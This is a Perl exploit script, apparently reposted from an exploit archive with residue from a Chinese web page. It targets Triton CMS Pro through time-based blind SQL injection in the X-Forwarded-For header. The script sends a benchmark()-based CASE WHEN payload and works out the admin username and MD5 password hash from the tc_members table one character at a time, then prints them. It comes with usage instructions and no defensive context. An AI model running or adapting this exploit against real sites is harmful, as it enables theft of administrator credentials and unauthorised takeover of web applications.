|
#!/usr/bin/perl -w
#Triton CMS Pro (X-Forwarded-For) Blind SQL Injection
#Admin's username/hash disclosure exploit
#Benchmark() method, so take a coffee and relax
#Coded by __GiReX__
use LWP::UserAgent;
use HTTP::Request;
if(not defined $ARGV[0])
{
print "\nUsage: perl $0 [host] [path] [1/2]\n";
print "Example: perl $0 localhost /tcms/\n";
exit;
}
my $host = ($ARGV[0] =~ /^http:\/\//) ? $ARGV[0]: 'http://' . $ARGV[0];
$host .= $ARGV[1] unless not defined $ARGV[1];
my $client = new LWP::UserAgent;
my $get = new HTTP::Request('GET', $host);
my @cset = (97..122, 0); # Only a-z charset for username exploit if need change it
my @cset2 = (48..57, 97..102);
my $prefix = "tc_";
my ($i, $j) = (0, 1);
my ($user, $hash) = (undef, undef);
banner();
while($i != $#cset)
{
for($i = 0; $i <= $#cset; $i++)
{
my ($pre_time, $post_time) = time();
info(chr($cset[$i]), "Username", $user);
$rv = check_char($cset[$i], $j, "username");
$post_time = time();
if($post_time - $pre_time > 3 and $rv)
{
$user .= chr($cset[$i]);
last;
}
}
$j++;
}
if(not defined $user)
{
print STDOUT "\n\n[-] Exploit mistake: please check the benchmark and expected time\n\n";
exit;
}
else
{
print STDOUT "\n[+] Admin Hashed Pass: \r";
}
for($j = 0; $j <= 32; $j++)
{
for($i = 0; $i <= $#cset2; $i++)
{
$pre_time = time();
info(chr($cset2[$i]), "Hashed Pass", $hash);
$rv = check_char($cset2[$i], $j, "password");
$post_time = time();
if($post_time - $pre_time > 3 and $rv)
{
$hash .= chr($cset2[$i]);
last;
}
}
}
if(not defined $hash or length($hash) != 32)
{
print STDOUT "\n\n[-] Exploit mistake: please check the benchmark expected time\n\n";
}
else
{
print STDOUT "\n\n[+] Exploit terminated\n\n";
}
sub banner
{
print "\n";
print "[+] Triton CMS Pro (X-Forwarded-For) Blind SQL Injection\n";
print "[+] Admin's username/hash disclosure exploit\n";
print "[+] Coded by __GiReX__\n";
print "\n";
}
sub info
{
my($c, $str, $cur) = @_;
$cur = '' unless defined $cur;
print STDOUT "[+] Admin ${str}: ${cur}${c}\r";
$| = 1;
}
sub check_char
{
my ($char, $n, $field) = @_ ;
$get->header('X-Forwarded-For' => "-1' AND ".
"CASE WHEN (SELECT ASCII(SUBSTRING(${field}, ${n}, 1)) ".
"FROM ${prefix}members WHERE id=1)=${char} ".
"THEN benchmark(99000000, CHAR(0)) END#");
$res = $client->request($get);
return $res->is_success;
}
|
| |
|
推荐
评论(0条)
